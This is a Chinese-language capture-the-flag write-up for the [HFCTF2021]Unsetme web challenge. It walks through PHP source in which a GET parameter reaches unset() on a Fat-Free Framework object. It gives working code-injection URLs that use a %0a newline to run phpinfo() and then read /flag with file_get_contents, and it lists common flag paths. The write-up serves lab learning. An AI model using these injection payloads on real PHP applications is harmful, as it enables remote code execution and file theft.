CTF-Web习题:[HFCTF2021]Unsetme

题目链接:HFCTF2021Unsetme

解题思路

打开靶场发现是一段PHP源码

做一下代码审阅:

php 复制代码
<?php

// Kickstart the framework
$f3=require('lib/base.php');//引入f3框架源码

$f3->set('DEBUG',1);//f3对象设置DEBUG属性
if ((float)PCRE_VERSION<8.0)
    trigger_error('PCRE version is out of date');//判断PCRE版本

highlight_file(__FILE__);//高亮显示源码
$a=$_GET['a'];//读取get方法的a参数的值
unset($f3->$a);//调用unset函数,去除f3对象中的$a属性

$f3->run();//启动f3框架

代码审阅完成后可以发现,我们可以通过调试a的值,设置pyload绕过unset函数从而执行我们的php代码。

尝试编辑url:
http://f27b1769-8bf9-4c77-a499-59963112d705.node5.buuoj.cn:81/?a=a%0a);phpinfo(

发现植入成功

然后就可以构造payload尝试获取flag
http://f27b1769-8bf9-4c77-a499-59963112d705.node5.buuoj.cn:81/?a=a%0a);echo%20file_get_contents(%27/flag%27

获取成功~

知识补充

1)%0a编码含义及必要性

我在构造payload时,发现?a=a);phpinfo(不可以,但是?a=a%0a);phpinfo(可以,这是为什么?

答:%0a是换行符\n的url编码,如果不插入换行符,就是下面这种效果

php 复制代码
unset($f3->a);phpinfo();

这会导致PHP解释器将整行的字符当作unset的参数处理,导致语法错误。如果插入换行符,变成这样:

php 复制代码
unset($f3->a
);phpinfo();

换行符将代码拆分成多个语句,PHP解释器就会判定换行前参数参数接受完毕,从而成功执行后续代码。

2)常见flag存放位置

/flag

/etc/flag

/home/ctf/flag

/var/flag

本题就是在系统根目录下,即/flag处,日后的题目可以多试一下

3)常见payload特殊字符的url编码

' = %27
空格 = %20
\n = %0a

相关推荐
hengdonghui21 小时前
Writeup 4 ByteMe CTF 2026 The Vormir Ledger
ctf·osint
文章永久免费只为良心2 天前
Ctfshow_Web应用安全与防护_第二章_无字母数字命令执行
前端·python·安全·网络安全·渗透测试·ctf·红队渗透测试
hengdonghui2 天前
Writeup 4 ByteMe CTF 2026 Sacrifice
ctf·forensics
print_Hyon3 天前
【CTF-CRYPTO-教学-RSA】第八节:超大模数n反噬攻击,已知n、e、c求m(n超大,m的e次方仍小于n,c可直接开e次方得到结果)
ctf
其实防守也摸鱼4 天前
CTF Web 6 题全解 Writeup
linux·sql·学习·算法·安全·ctf·xss
hengdonghui5 天前
Writeup 4 N1BOOK 第一章 Web 入门 · 粗心的小李
ctf·.git泄露
hengdonghui7 天前
Writeup 4 N1BOOK afr_2
ctf·目录穿越
print_Hyon8 天前
【CTF-CRYPTO-教学-RSA】第十三节:知道e、p和q的变形表达式,解密c
ctf
print_Hyon8 天前
【CTF-CRYPTO-教学-RSA】第七节:低加密指数攻击,已知n和e求c(e很小,m的e次方比n小,c可直接开方得到结果)
ctf
hengdonghui11 天前
Writeup 4 N1BOOK afr_1
ctf·伪协议·任意文件读取